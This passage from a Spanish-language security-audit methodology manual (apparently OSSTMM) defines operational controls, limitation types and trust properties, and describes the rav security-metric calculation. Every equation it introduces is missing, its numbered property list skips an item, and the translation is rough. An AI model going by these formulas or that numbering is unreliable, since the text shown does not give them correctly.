Continuidad entrada en un almacén se bloquea de tal manera que no
es posible una entrada alternativa y los clientes no pueden
ingresar, dicho acceso no tiene continuidad.
En una auditoría de redes de datos COMSEC, si un
servicio de servidor web falla y un servidor web alternativo
actúa en lugar del que ha dejado de prestar servicio
proporciona redundancia para que no se pierdan
interacciones, este acceso tiene continuidad.
Cuente cada instancia de Access o Trust en el ámbito que
no se abre o proporciona nuevos accesos cuando se
produce un error de seguridad. En lenguaje común, para
"fallar con seguridad".
En una auditoría PHYSSEC donde dos guardias controlan
el acceso a una puerta, si se retira una puerta y la puerta
Resilencia no puede ser abierta por la guardia restante, entonces
tiene resiliencia.
En una auditoría de redes de datos COMSEC, si un
servicio web que requiere un inicio de sesión o una
contraseña pierde la comunicación con su base de datos
de autenticación, se debería denegar todo el acceso en
lugar de permitirlo para tener resiliencia.
Cuente cada instancia de acceso o punto de confianza que
No repudio proporcione un mecanismo de no rechazo para cada
interacción para proporcionar seguridad de que la
Página 301 de 430

interacción particular ocurrió en un momento particular

entre las partes identificadas. El no repudio depende de la
identificación y autorización para que se establezca
adecuadamente para que sea aplicada apropiadamente
sin limitaciones.
En una auditoría de PHYSSEC, el control de No-repudio
existe si la entrada a un edificio requiere una cámara con
una exploración biométrica de cara para obtener entrada
y cada vez que la entrada se usa, el tiempo de entrada se
registra con el ID. Sin embargo, si se utiliza una tarjeta
llave en su lugar, el control de no repudio requiere una
cámara sincronizada y codificada en el tiempo para
asegurar el registro de la identidad del usuario de la tarjeta
para evitar ser una implementación defectuosa. Si la
puerta se intenta abrir sin la tarjeta llave, no tener la
cámara sincronizada que supervisa la puerta significaría
que no todas las interacciones con la entrada tienen el
control del No-repudio y por lo tanto no cuenta para este
control.
En una auditoría de redes de datos COMSEC, puede
haber varios archivos de registro para no rechazo. Una
exploración de puerto que interactúa en la pila IP se
registra en un registro mientras que la interacción con el
servicio web se registra en otro archivo de registro. Sin
embargo, como el servicio web no puede registrar las
interacciones del método POST, el control todavía se
cuenta; Sin embargo, también lo es la limitación de
seguridad.
Cuente cada instancia de Access o Trust en el ámbito que
proporciona los medios para mantener el contenido de las
interacciones no reveladas entre las partes que
interactúan.
Una herramienta típica para la confidencialidad es el
Confidencialidad cifrado. Además, la ofuscación del contenido de una
interacción es también un tipo de confidencialidad, aunque
errónea.
Sin embargo, en HUMSEC, un método de
Confidencialidad puede incluir susurros o usar señales
manuales
Cuente cada instancia de acceso o punto de confianza
dentro del ámbito que proporciona los medios para
mantener las interacciones no visibles a las partes no
autorizadas o implicadas. Si bien "ser privado" es una
expresión común, la frase es un mal ejemplo de privacidad
Privacidad como comunicación segura y reservada sólo a los
participantes autorizados porque incluye elementos de
confidencialidad. Privado en este caso significa que las
partes se han reconocido ya autorizado de forma recíproca
aunque no se aplique necesariamente al contenido total
de la comunicación, solo a algunas partes.
Página 302 de 430

Una herramienta típica para la privacidad está

obscureciendo la interacción, es decir, tener la interacción
tener lugar fuera de la visibilidad de terceros. La confusión
de los medios de interacción como ofuscación es otro
método de aplicación del control de Privacidad.
En HUMSEC, un método de privacidad puede ser
simplemente tomar la interacción en una sala cerrada lejos
de otras personas. En las películas, vemos las técnicas
para crear el control de privacidad mediante el
establecimiento de dos maletas idénticas al lado del otro,
algún tipo de incidente para crear confusión tiene lugar, y
las dos personas cambian las maletas en aparentemente
simple vista.
el ámbito que puede asegurar que el proceso de
interacción y el acceso a los activos tiene finalidad y no se
puede corromper, detener, continuar, redirigir o revertir sin
que sea conocido por las partes involucradas. Integridad
es un proceso de control de cambios.
En las redes de datos COMSEC, el cifrado o un hash de
archivo puede proporcionar el control de Integridad sobre
Integridad el cambio del archivo en tránsito.
En HUMSEC, la segregación de funciones y otros
mecanismos de reducción de la corrupción proporcionan
control de integridad. Asegurar la integridad en el personal
requiere que dos o más personas sean requeridas para un
solo proceso para asegurar la supervisión de ese proceso.
Esto incluye que no hay acceso maestro a todo el proceso.
No puede haber ninguna persona con acceso completo y
ninguna llave maestra para todas las puertas.
Cuente cada instancia de acceso o punto de confianza que
tiene un registro asociado o hace una notificación cuando
aumenta la porosidad no autorizada y no intencional para
el vector o las restricciones y controles se ven
comprometidos o dañados.
En las redes de datos COMSEC, cuente cada servidor y
servicio que supervisa un sistema de detección de intrusos
basado en la red. O bien, cuente cada servicio que
Alarma
mantiene un registro de interacción supervisado. Los
registros de acceso cuentan, incluso si no se utilizan para
enviar una alerta de notificación de inmediato, a menos
que nunca se supervisen. Sin embargo, los registros que
no están diseñados para ser utilizados para tales
notificaciones, como un contador de paquetes enviados y
recibidos, no se clasifican como una alarma ya que hay
muy pocos datos almacenados.
Página 303 de 430

Limitaciones
Finalmente, las limitaciones serán verificadas donde sea posible. Los valores de
cada limitación dependen de la porosidad y de los controles. Esto es diferente
de la perspectiva de riesgo más común en la que una vulnerabilidad puede ser
asignada un nivel de riesgo basado en qué daño puede hacer, lo fácil que es
hacer y la distancia en el alcance del ataque. Por lo tanto, los valores de
limitación se calculan basados en la porosidad y los controles sobre el objetivo
final que se desea proteger.
Cuente por separado cada falla o error que desafía las
protecciones mediante las cuales una persona o un
proceso puede acceder, denegar el acceso a otros u
ocultarse o los bienes dentro del alcance.
En PHYSSEC, una vulnerabilidad puede ser tan simple
como una puerta de cristal, una puerta de metal corroída
por el clima, una puerta que puede sellarse acuñando
monedas en el espacio entre ella y su marco, equipos
electrónicos, el no sellados de plagas como hormigas o
Ratones, una unidad de CD de arranque en un PC, o un
proceso que permite a un empleado tomar un basurero
lo suficientemente grande como para esconder o
transportar activos fuera del alcance.
En HUMSEC, una vulnerabilidad puede ser un sesgo
cultural que no permite que un empleado cuestione a
otros que parecen fuera de lugar o una falta de
entrenamiento que deja a una nueva secretaria para dar
información comercial clasificada para uso interno
solamente.
Vulnerabilidad En la seguridad de los datos COMSEC, una
vulnerabilidad puede ser una falla en el software que
permite a un atacante sobrescribir el espacio de memoria
para obtener acceso, una falla de cálculo que permite a
un atacante bloquear la CPU usando el 100% de la
capacidad de proceso un proceso vinculado a un archivo
que se copia en el disco hasta que no pueda funcionar
más.
En las telecomunicaciones COMSEC, una vulnerabilidad
puede ser una falla en el sistema de teléfono público, que
permite que los sonidos a través del receptor imiten gotas
de monedas, una cabina telefónica que permite a
cualquiera acceder a la línea telefónica de otra persona,
un sistema de correo de voz que proporciona mensajes
desde cualquier teléfono, o una máquina FAX que puede
ser consultada remotamente para reenviar lo último en la
memoria al número de la persona que llama.
En SPECSEC, una vulnerabilidad puede ser hardware
que puede ser sobrecargado y quemado por versiones
de mayor potencia de la misma frecuencia o una
Página 304 de 430

frecuencia cercana, para un receptor estándar sin

configuraciones especiales que pueden acceder a los
datos de la señal, un receptor que puede ser forzado a
aceptar una señal de terceros en lugar de la deseada, o
un punto de acceso inalámbrico está cerca de un horno
microondas
Cuente cada falla o error en los controles de
interactividad: autenticación, indemnización, resiliencia,
subyugación y continuidad.
En PHYSSEC, una debilidad puede ser una cerradura de

puerta que se abre cuando una tarjeta se acuña entre ella
y el marco de la puerta, un generador de respaldo sin
combustible, o un seguro que no cubre los daños de
inundación en una zona de susceptible de ser inundada.
En HUMSEC, una debilidad puede ser un fallo del

proceso de un segundo guardia para tomar el puesto de
guardia que corre tras un intruso o un clima cultural
dentro de una empresa para permitir que los amigos en
los espacios restringidos publicado.
En la seguridad de los datos de COMSEC, una debilidad

Debilidades puede ser un inicio de sesión que permite intentos
ilimitados o una granja de servidores Web con DNS
round-robin para el equilibrio de carga, pero cada
sistema también tiene un nombre único para la
vinculación directa.
En telecomunicaciones COMSEC, una debilidad puede

ser un PBX que aún tiene las contraseñas de
administración predeterminadas o un banco de módem
para acceso remoto que no registra los números de
llamada, el tiempo y la duración.
En SPECSEC, una debilidad puede ser un punto de

acceso inalámbrico que autentica a los usuarios
basándose en direcciones MAC (que pueden ser
falsificadas) o una etiqueta de seguridad RFID que ya no
recibe señales y por lo tanto falla "abierta" después de
recibir una señal de una fuente de alta potencia.
Cuente cada falla o error en los controles del proceso: no
repudio, confidencialidad, privacidad, integridad y
alarma.
Precauciones En PHYSSEC, una preocupación puede ser un

mecanismo de bloqueo de puerta cuyos controles de
operación y tipos clave son públicos, un generador de
respaldo sin medidor de potencia o indicador de
combustible, un proceso de equipo que no requiere que
Página 305 de 430

el empleado deje los materiales cuando se reciben, O

una alarma de incendios no lo suficientemente fuerte
como para ser oído por los trabajadores de la máquina
con tapones para los oídos.
En HUMSEC, una preocupación puede ser un fallo del

proceso de un guardia que mantiene el mismo horario y
rutina o un clima cultural dentro de una empresa que
permite a los empleados utilizar salas de reuniones
públicas para el negocio interno.
En la seguridad de los datos COMSEC, una

preocupación puede ser el uso de certificados de
servidor web generados localmente para HTTPS o
archivos de registro que registren sólo los participantes
de la transacción y no la fecha y la hora correctas de la
transacción.
En las telecomunicaciones COMSEC, una preocupación

puede ser el uso de una máquina de fax para enviar
información privada o un sistema de correo de voz que
utiliza tonos de tacto para introducir un PIN o una
contraseña.
En SPECSEC, una preocupación puede ser un punto de

acceso inalámbrico usando un cifrado de datos débil o un
abridor de puerta infrarrojo que no puede leer el remitente
bajo la lluvia.
Cuente cada acción, defecto o error injustificable que
proporciona visibilidad directa o indirecta de los objetivos
o activos dentro del canal de alcance elegido.
En PHYSSEC, una exposición que permite ver activos y

procesos o un medidor de potencia que muestra la
cantidad de energía que un edificio utiliza y su fluctuación
en el tiempo.
En HUMSEC, una exposición puede ser un guardia que

permite a todos los visitantes ver la lista de nombres en
Exposición
la hoja de inicio de sesión o un operador de la compañía
que informa a las personas que llaman que una persona
en particular está enferma o de vacaciones.
En la seguridad de datos COMSEC, una exposición

puede ser un banner descriptivo y válido sobre un
servicio (banners de desinformación no son
exposiciones) o una respuesta de eco ICMP de un host.
En las telecomunicaciones COMSEC, una exposición

puede ser un directorio automatizado de la empresa
Página 306 de 430

ordenado alfabéticamente, permitiendo a cualquiera

pasar por todas las personas y números, o una máquina
de FAX que almacena los últimos números marcados.
En SPECSEC, una exposición puede ser una señal que

interrumpe otras máquinas o un dispositivo de infrarrojos
cuyo funcionamiento es visible por cámaras de video
estándar con capacidad nocturna.
Cuente cada elemento no identificable o desconocido
que no puede ser contabilizado en operaciones
normales, generalmente cuando la fuente o destino del
elemento no puede ser entendido. Una anomalía puede
ser un signo temprano de un problema de seguridad.
Dado que las incógnitas son elementos que no pueden
controlarse, una auditoría adecuada requiere anotar
todas y cada una de las anomalías.
En PHYSSEC, una anomalía puede ser aves muertas

descubiertas en el techo de un edificio alrededor de
equipos de comunicaciones.
En HUMSEC, una anomalía puede ser preguntas que un

Anormalidades
guardián hace, lo que puede parecer irrelevante para el
trabajo o la charla estándar.
En la seguridad de los datos COMSEC, una anomalía

puede ser respuestas correctas a una sonda de una
dirección IP diferente que se probó o se esperaba.
En telecomunicaciones COMSEC, una anomalía puede

ser una respuesta de módem de un número que no tiene
ningún módem.
En SPECSEC, una anomalía puede ser una señal local

que no puede localizarse correctamente ni hace ningún
daño conocido
La Fórmula de Seguridad Operacional
El rav se deriva de tres categorías definidas dentro del alcance: Seguridad

Operacional, Controles y Limitaciones. Para empezar, primero debemos agregar
y asociar toda nuestra información de entrada a las categorías apropiadas para
cada variable de entrada.
La ecuación rav requiere que a cada una de las categorías se le asigne un valor
base logarítmico para escalar los tres factores de Seguridad Real de acuerdo
con el alcance
Página 307 de 430

La información contenida en el rav está compuesta de cómo las operaciones se

equilibran con controles y limitaciones. No hay "pesos" para distorsionar los
resultados dejando una cuantificación flexible de la superficie de ataque que
permite compararla con la seguridad de cualquier otra cosa sin importar tamaño,
vector o canal
Cálculos en OpSec
La Porosidad La Seguridad Operacional, también conocida como la Porosidad

del alcance, es el primero de los tres factores de Seguridad Actual que deben
ser determinados. Se mide inicialmente como la suma de la visibilidad del
alcance (V P), del acceso (A P) y de la confianza (T P)
Al calcular el rav es necesario determinar el valor base de seguridad operacional,

baseOpSec. El valor base de la Seguridad Operacional viene dado por la
ecuación
Como el logaritmo de 0 no está definido en el cálculo, necesitamos incluir el 1 +

100 aquí. El log de 1 es 0. Así que si tenemos 0 Porosidad y queremos expresar
esta falta de interacción como la seguridad perfecta de 100 rav entonces
necesitamos agregar +1 a la ecuación. Sin el 1 + 100 tendríamos números
indefinidos en el caso de que las sumas de cualquiera de esos factores sean 0.
Esto es requerido por la metodología porque la ausencia de interacciones
representa una seguridad perfecta y por lo tanto el logaritmo debe ser igual a 0
para proporcionar el 100 rav
Página 308 de 430

La Fórmula de Controles
El siguiente paso en el cálculo del rav es definir los Controles de Pérdidas; Los
mecanismos de seguridad establecidos para proteger las operaciones. Primero
la suma de los Controles de Pérdida, LC suma, debe ser determinada sumando
las 10 categorías de Control de Pérdidas.
Así, la suma de suma de control de pérdidas LC se da como
Dado que la combinación de cada uno de los 10 Controles de Pérdidas equilibra

el valor de 1 pérdida OpSec (visibilidad, acceso, confianza), es necesario
determinar la cantidad de Controles Perdidos, suma MC, para evaluar el valor de
las Limitaciones de Seguridad. Esto debe hacerse individualmente para cada
una de las 10 categorías de control de pérdidas. Por ejemplo, para determinar
los controles que faltan para la autenticación (Au MC) debemos restar la suma
de los controles de autenticación (Au LC) del ámbito de la suma OpSec. Los
controles que faltan nunca pueden ser menores que cero.
La ecuación para determinar los controles perdidos para la autenticación (Au

MC) es dada por
Los totales de control faltante resultantes para cada uno de los 10 Controles de
pérdidas deben agregarse para llegar al valor total de Control ausente (suma)
Página 309 de 430

Verdaderos Controles
Verdaderos Controles (suma TC) es la inversa de los Controles Perdidos, lo que

significa que los Controles Verdaderos para cada control individual también
deben ser calculados antes de que los resultados puedan ser computados en TC
de suma.
Ecuación para determinar los Controles de Autenticación
Se ha de aplicar a todas las categorías en cuyo caso la ecuación queda

formulada de la siguiente forma:
Los controles verdaderos se utilizan para medir la colocación ideal de los

controles. El valor base también ayuda a eliminar la influencia de una colocación
desproporcionada de controles en la seguridad. El valor controles verdaderos
(base TC) se da como:
Basado en la misma idea que Verdaderos Controles, Capacidad de Protección

(TCvg) puede usarse para medir el porcentaje de controles en el lugar con
respecto a la cantidad óptima y la colocación de los controles. La Cobertura
verdadera se obtiene entonces usando los totales del Control Perdido y la
siguiente ecuación:
Controles completos por otro lado, tener en cuenta todos los controles en su
lugar, independientemente de una distribución equilibrada. Este valor es
importante para medir el valor de la autenticación de dos factores, por ejemplo,
y otras instancias de defensa en profundidad para la misma visibilidad, acceso o
confianza. El valor de la base Controles completos (base FC) se da como:
Página 310 de 430

La fórmula de limitaciones a continuación, las limitaciones se ponderan

individualmente. La ponderación de las vulnerabilidades, debilidades y
preocupaciones se basa en una relación entre la porosidad o suma OpSec, los
controles de pérdidas y en el caso de exposiciones y anomalías la existencia de
otras limitaciones también juega un papel. Una exposición o anomalía no plantea
ningún problema a menos que una vulnerabilidad, debilidad o preocupación
también esté presente. Piense en una exposición como un puntero. Si hay un
puntero que no va a ninguna parte, o en este caso no conduce a nada explotable
(vulnerabilidad, debilidad, preocupación) y todos los controles son
contabilizados, entonces en el momento de la prueba la exposición no tiene
ningún efecto sobre la seguridad y por lo tanto no tiene valor en el rav.
La siguiente tabla de valores se utiliza para calcular la variable SecLim de suma,

como un paso intermedio entre las entradas de Limitación de seguridad y la
variable SecLim base, que es la entrada básica Limitaciones de seguridad para
la ecuación rav.
Página 311 de 430

Limitaciones de seguridad Base
Suma SecLim se calcula entonces como el total agregado de cada entrada

multiplicado por su correspondiente valor ponderado definido en la tabla anterior.
La ecuación base Limitaciones de seguridad se da como:
La fórmula de seguridad real.

Esta es la parte final para usar todos los cálculos anteriores de tres maneras
diferentes.
Seguridad Actual Delta

El Delta de Seguridad Actual es útil para comparar productos y soluciones
mediante la estimación previa del cambio (delta) que el producto o solución haría
en el ámbito. Podemos encontrar el Actual Security Delta.
La verdadera protección
Puede utilizarse como una expresión simplificada para la cobertura óptima de un

ámbito dado donde 100 significa una relación óptima entre la porosidad, los
controles verdaderos y las limitaciones de Seguridad. La verdadera protección
se da como:
Seguridad Actual
Para medir el estado actual de las operaciones con controles aplicados y las
limitaciones descubiertas, se requiere un cálculo final para definir la Seguridad
Actual. Como lo implica su nombre, este es el valor de seguridad total que
combina los tres valores de seguridad operativa, controles y limitaciones para
mostrar el estado real de seguridad.
Página 312 de 430

La seguridad real (total), ActSec, es el verdadero estado de seguridad

proporcionado como un hash de las tres secciones. Un rav de 100 significa un
equilibrio perfecto de seguridad sin embargo la seguridad real no es un valor de
porcentaje verdadero.
También son posibles puntajes por encima de 100, lo que significa que el alcance
probado tiene más controles implementados de lo necesario, lo que también
podría ser una prueba de exceso de gasto. La ecuación de rav final para
Seguridad Actual se da como:
Análisis de la confianza
"Si pudieras tomar una píldora que te hiciera más confiado”
El estudio informal de ISECOM comenzó a ayudar a las personas a comprender

mejor cómo la confianza es como concepto. El público en general responde no
a esta pregunta. El profesional respondió: "Sí, pero sólo si todos los demás tienen
que tomarlo también." La confianza puede ser tanto un problema como una
solución. Es un problema donde pone la seguridad supone un compromiso en
una determinada en una posición. Al igual que el concepto de energía potencial
en física, la confianza crea una concentración de autorización, que puede
explotar en un gran problema, si la confianza falla o el objetivo de confianza se
engañan y se daña.
Sin embargo, también puede reducir la necesidad de re-autenticación continua,

posiblemente redundante, aumentando la eficiencia de las operaciones. Por eso,
la confianza se ve a menudo como una "autenticación a pie "protocolo. Esto se
observa más a menudo en Seguridad Humana, donde los departamentos de
Recursos Humanos deben investigar a un candidato antes del contratarlo y
después de despedirlo, pues esa persona tiene acceso continuo a recursos
incluso cuando ya no son empleados. La autenticación se realiza entonces rara
vez o esporádicamente y rara vez en la misma profundidad que cuando se
contrató.
En seguridad operacional, la confianza es meramente un contribuyente a la

porosidad, apenas otra interacción a controlar. Difiere desde el acceso (la otra
forma de interacción), en cómo se relaciona con otros objetivos dentro del
alcance. Entonces, dónde el acceso es la interacción entre dos lados de un
vector dentro y fuera del alcance, la confianza se mide como las interacciones
entre objetivos dentro del ámbito de aplicación. Sin embargo, la mayoría de la
gente no usa la confianza tan concretamente. La confianza es por lo general o
se aplica a una persona o a un elemento específico y en un acto específico como,
¿Puedo confiar en este empleado para entregar antes de la fecha límite? "O"
¿Puedo confiar en esta computadora? Hay respuestas correctas para estas
preguntas, pero las personas a menudo carecen de las habilidades necesarias
para cuantificar el nivel de confianza para esa persona u para un objeto.
Página 313 de 430

Lo que nos permitiría tomar una decisión más racional y lógica. Sin embargo,
para cuantificar la confianza, necesitamos primero necesitamos comprender el
concepto en sí mismo.
Entendiendo el concepto confianza.
La confianza es una decisión. Mientras que algunas personas afirman que es

una emoción, como el amor, o un sentimiento, como el dolor, es claramente una
cualidad compleja con la que los seres humanos nacen. A diferencia de una
emoción o un sentimiento, podemos optar por confiar o no confiar en alguien o
algo, incluso si se siente mal al hacerlo. Parece que somos capaces de
racionalizar en una forma de reemplazar cómo nos sentimos acerca de confiar
en un objetivo. Esto significa que podemos cuantificarlo aplicando un proceso
lógico. También significa que podemos asignar valores de confianza a objetos y
procesos, así como a personas basadas en estos valores. Esto trae un nuevo
poder a aquellos que pueden analizar la confianza y tomar decisiones basadas
en ese análisis. También significa que los analistas con esta habilidad pueden
controlar mejor el sesgo, identificar las falacias (especialmente las de fuentes
autorizadas o de confianza) y manejar las incógnitas para un informe
transparente. Un punto a tener en cuenta, sin embargo, una vez que la confianza
se cuantifica, es sólo un vehículo para racionalizar la confianza. No hará que algo
se sienta confiable ahora o en el futuro. Algunas personas tienen fuertes
sentimientos de aversión o atracción que pueden estar en desacuerdo con los
hechos.
Como parte de OpSec, la confianza es una parte de la porosidad de un objetivo.

Donde la seguridad es como un muro que separa las amenazas de los activos,
la confianza es un agujero en esa pared. Es donde el objetivo acepta la
interacción de otros objetivos dentro del alcance. Sin embargo, la gente tiende a
usar controles operativos incorrectos o incompletos con sus confianzas como la
autenticación que se ha hecho con una identificación incorrecta, como una voz
sobre un teléfono, una tarjeta de visita, o incluso la suposición de que porque
una persona está en misma la habitación que ellos Están autorizados para estar
allí. Esto abre a la gente una puerta hasta el fraude y el engaño. Se requiere el
uso de controles adicionales para asegurar una administración, para asegurar
su integridad y resiliencia.
Desafortunadamente, al usar más controles funciona con objetos y procesos,

pero puede que no funcione entre personas. Muchas veces las normas sociales
consideran los controles más allá de la simple autenticación, como hacer
coincidir una cara o una voz con una identidad que sea ofensiva para la persona
a la que se debe confiar.
La sociedad a menudo nos obliga a ser más confiados como individuos con el
fin de beneficiar a la sociedad en su conjunto ya veces a expensas de todos y de
la protección individual.
Como se dijo anteriormente, la confianza operacional se mide como una cosa

negativa que proviene de una interacción.
Página 314 de 430

Entre dos entidades en un ámbito cuando una confianza no tiene controles, es

lo que la gente llama "confianza ciega", que puede ser bueno para las relaciones
y puede acelerar las interacciones, pero es malo para la seguridad operativa.
La gente generalmente aplica controles a los administradores, aunque no lo

piensen como tal en ese momento. Algunos controles tienen más peso más peso
que otros dependiendo de la situación y la necesidad. Ejemplo al seleccionar una
persona de quienes necesitan depender, pueden poner un mayor valor en la
integridad y la resiliencia. Al hacer una transacción financiera, pueden poner un
mayor valor en la autenticación, la continuidad y la confidencialidad.
Él puede poner un valor más grande en la alarma y la subyugación para el

consejo en un producto a menos que sea un médico Entonces prefieren
privacidad y no repudio. Uso de la confianza la propiedad le permite tomar una
decisión de confianza incluso cuando la información que tienen el objetivo está
incompleta. Dado que la toma de decisiones de confianza y no informadas es un
juego peligroso, la Al menos un proceso formal como la aplicación de las
propiedades de confianza puede proporcionar es informar al tomador de
decisiones de exactamente cuánto no saben y les permiten buscar más
informaciones antes de continuar. Esto significa que la verdadera necesidad de
poder cuantificar la confianza operacional se produce cuando debemos confiar
en muchos desconocidos para determinar y racionalizar la confianza.
Las propiedades de confianza son los elementos objetivos y cuantificables que

se utilizan para crear confianza. Podemos decir que estas propiedades son lo
que diríamos que nos dan "razón para confiar". Estas propiedades se deben
convertir en reglas básicas basadas en el objetivo y la situación que estamos
verificando. Desafortunadamente, existen muchas propiedades de confianza
ilógicas y son muy comunes su uso lo que lo hace más difícil para nosotros
conceder la confianza adecuada decisiones sin que se sienta mal.
Sin embargo, es exactamente la parte de la sensación que nos hace más

propensos a errores. Durante la investigación, se descubrieron muchas
propiedades potenciales de confianza que se usan comúnmente e incluso las
regulaciones oficiales, gubernamentales e industriales recomiendan, sin
embargo, fallaron las pruebas de lógica y fueron descartadas de nuestro conjunto
de propiedades dejando todas ellas reducidas a sólo diez.
Los abusos de confianza
Desafortunadamente, la mayoría de la gente entiende y utiliza mal la confianza.

Existen muchos métodos ilógicos para la confianza y se utilizan popularmente.
Dos ejemplos de las propiedades de confianza más comunes y falaces son la

sustentada en la credibilidad y la transitividad. Estas propiedades son utilizadas
popularmente por las personas para tomar decisiones de confianza sobre lo
desconocido. En la credibilidad, una persona hace una elección de confianza
basada en lo que un gran número de personas tienen que decir acerca de la
cosa o persona en cuestión, incluso si esas personas no son de confianza
individual.
Página 315 de 430

Relaciones de confianza y sus tipos
Básicamente, una persona acepta a los administradores del grupo como propios.
Esto es similar a la presión creada por los grupos sociales o políticos y los medios
de comunicación. La razón por la cual esto es ilógico es porque las experiencias
individuales de los demás, especialmente los extraños, son todas relativas y no
pueden verificar la confiabilidad consistente de los eventos futuros.
El otro uso falaz común de la confianza es la transitividad. Es cuando una

persona acepta la decisión de confianza de una persona de confianza para sí
mismos. También se conoce como la cadena de confianza: tú confías en Alice y
Alice confía a su vez en Jack por lo tanto puedes confiar en Jack. Sin embargo,
la confianza transitiva es ilógica también porque puede confiar en Alice para
algunas cosas, pero quizás no las mismas cosas por las que confías en Jack.
También existe la posibilidad de que Alice se haya acercado a la confianza por
algún beneficio emocional que no está disponible para usted.
Las personas que a menudo confían en "su instinto" para tomar decisiones son
alabadas cuando tienen razón, como si tuvieran algún sentido secreto y
poderoso sobre otros seres humanos. Sin embargo, aparte de la suerte, algunas
personas son mejores en prestar atención a los detalles, ver micro expresiones
emocionales en las caras y aplicar la lógica rápidamente a situaciones comunes
que ellos mismos podrían no ser capaces de expresar verbalmente acerca de
cómo, sino que sienten lo que está mal. Estas personas aprendieron a hacer esto
naturalmente y construido sobre la experiencia llena de pruebas y errores no es
realmente obvio, para sí mismos más de lo que nadie nota los millones de
pequeñas decisiones que toman cada día y sus consecuencias.
Las propiedades de la confianza permiten a las personas comunes y corrientes

que no tienen esta habilidad natural analizar cualquier de sus decisiones con
habilidad, distanciándose de su propio "instinto visceral" subdesarrollado hasta
que puedan reacondicionarse para hacerlo automáticamente, fluidamente,
afilando sus instintos Hasta que funcionen visceralidad.
Página 316 de 430

Las diez propiedades de la confianza para los administradores.
Las diez propiedades de confianza para hacer un análisis de confianza apropiado

son:
Nro. Objeto Descripción del Objeto / Acción

Número de personas que componen el grupo denominado
1 grupo de confianza ¿Cuál es el número ideal para este
propósito dos, tres, cuatro?
Simetría. El vector (dirección) de la administración. La
confianza puede ser una forma (Asimétrica) y definidas en
cuanto a la forma en que el administrador debe ejercer su
2 administración o
ambas formas (simétricas). Una persona que también debe
confiar en usted tiene que considere la reciprocidad de romper
la confianza.
Visibilidad El nivel de transparencia de todas las partes y
4
procesos operativos del objetivo y su entorno.
Control También llamado control, la cantidad de influencia
5
sobre el alcance por el operador.
Consistencia La evidencia histórica de compromiso o
6
corrupción del objetivo.
Integridad Cantidad y notificaciones oportunas de cambio
7
dentro del objetivo.
Las indemnizaciones como garantía de compensación para el
8 otorgante de la confianza o la condena para el infractor de
confianza. Es un valor puesto en la confianza con el objetivo.
La compensación financiera por riesgo, la cantidad de
ganancia o ganancia para la cual el riesgo de poner la
9 confianza en el objetivo es suficiente para compensar el
riesgo de fracaso en la administración o funcionamiento del
mismo.
Componentes. El número de otros elementos que actualmente
proporcionan recursos para el objetivo a través de
10
interacciones directas o indirectas, similar a la Intervención del
Proceso de Cuatro Puntos.
Porosidad La cantidad de separación entre el objetivo y el
11
entorno externo.
Página 317 de 430

Las Reglas de Confianza
El uso de las propiedades de confianza nos permite crear sólo reglas

cuantificables. Sin embargo, las propiedades por sí solas son inútiles si no
pueden convertirse en propiedades cuantificables, objetivas o comprensibles por
las personas comunes y no necesariamente involucradas en el campo de
seguridad.
Por lo tanto, todavía tenemos que convertir la confianza y sus propiedades en

reglas de confianza, cálculos de operaciones directamente relevantes realizadas
a partir de todas las propiedades de la administración.
Hacemos esto en forma de preguntas donde las respuestas son números

imparciales que serán utilizados para crear un porcentaje para una comprensión
más fácil y que coincida con nuestro uso común de calificadores de confianza.
Al crear las reglas de confianza, es importante tener en cuenta que las decisiones
de confianza no son lineales. No hay ningún edificio hacia la confianza en un
orden en particular o incluso un sistema de valores de esfuerzo donde se puede
determinar que un nivel requiere más esfuerzo que otro. En términos de
metodología, parece irracional cuando se calcula. La decisión de confiar, por lo
tanto, puede concluirse mediante una respuesta de las siguientes pruebas que
constituyen las reglas de confianza. Sin embargo, hacerlo es nuestra elección
consciente de hacer una confianza donde el cálculo específicamente dice que
no. Esto puede tener más sentido en una situación de vida o muerte donde el
resultado de la confiabilidad es muy bajo, pero el Valor de la Recompensa (la
vida de uno) es tan increíblemente grande que no se puede hacer otra elección.
Las reglas de confianza deben crearse específicamente para un único propósito.

Si bien esto puede parecer engorroso, es posible hacer genéricamente reglas de
confianza específicas de temas que se adapten al propósito. La ventaja de esto
es que las propiedades del administrador pueden entonces estructurarse como
reglas que encajan cualquier propósito y cualquier situación donde uno debe
actuar como administrador. Decisión sobre otra persona, cosa, proceso, sistema
o acción. Con la práctica, estas reglas de confianza se pueden hacer de forma
automática y muy rápidamente como parte de un proceso de decisión,
centrándose sólo en las reglas que se pueden responder y descubrir aquellos
sucesos en los que no puede haber respuesta conocida con la información
disponible.
La aplicación de las reglas de confianza en pruebas de verificación específicas

que proporcionan una cantidad información suficiente, sin embargo, idealmente,
es necesario determinar una cantidad finita. Una cantidad infinita puede ser
demasiado relativa al probador y no proporciona las restricciones necesarias
para expresar el resultado en un porcentaje. Por ejemplo, para aplicar la tercera
propiedad, transparencia, los componentes deben contarse como indexados
para que haya una cantidad finita, por lo tanto, las partes de una computadora
pueden tener un número de finito de partes antes de que la computadora esté
completamente construida y un proceso puede tener un número preciso y finito
de pasos antes de que se complete. Para las personas, sin embargo, esto puede
Página 318 de 430

no ser tan fácil de hacer, pero es posible si se aplica se traslada al desarrollo de

un proceso concreto y finito. En el caso de una autorización de seguridad, puede
contar todas las relaciones dentro de un intervalo de tiempo determinado y de
éstas, el número de personas que tienen antecedentes penales. Esto permite un
número finito incluso si es bastante grande. Entonces, puede que desee
completar otras pruebas específicas de la tercera regla, ya que sólo se puede
dar un tipo de influencia. Otras pueden ser necesidades financieras, experiencias
laborales, afiliaciones, convicciones y cualquier cosa que dé una buena
representación en cuanto a lo transparente que es esa persona. El cálculo final
sin embargo tiene que ser la suma total de todas las pruebas que proporcionarán
un solo porcentaje de transparencia para esa regla.
El porcentaje resultante para cada regla de confianza se puede ver

individualmente para mostrar dónde se deben aplicar controles para mejorar o
mantener los niveles necesarios de confiabilidad. Esto también puede mostrar
dónde deben realizarse mejoras antes de considerar la necesidad de un
administrador. Por ejemplo, un análisis de confianza para una costosa y difícil
campaña militar puede mostrar que la regla cuatro, la subyugación, está en el
10% porque algunos de los participantes necesarios son civiles y no bajo control
militar. Esto da a los operadores de teatro de la campaña información específica
y procesable para hacer los ajustes necesarios para obtener ese porcentaje
hasta un nivel que sea aceptable por tener un mínimo impacto.
Otro resultado del análisis de los porcentajes de las reglas de confianza

individuales es que las incógnitas se vuelven obvias porque cuanto menos se
sabe, menor será el porcentaje. Esto significa que las incógnitas estarán en o
muy cerca de 0%. Sin embargo, la métrica final es la media de todos los
porcentajes. Esto proporciona una gran comprensión de imagen que podría
racionalmente tener de la meta de la confianza. Esto es especialmente útil
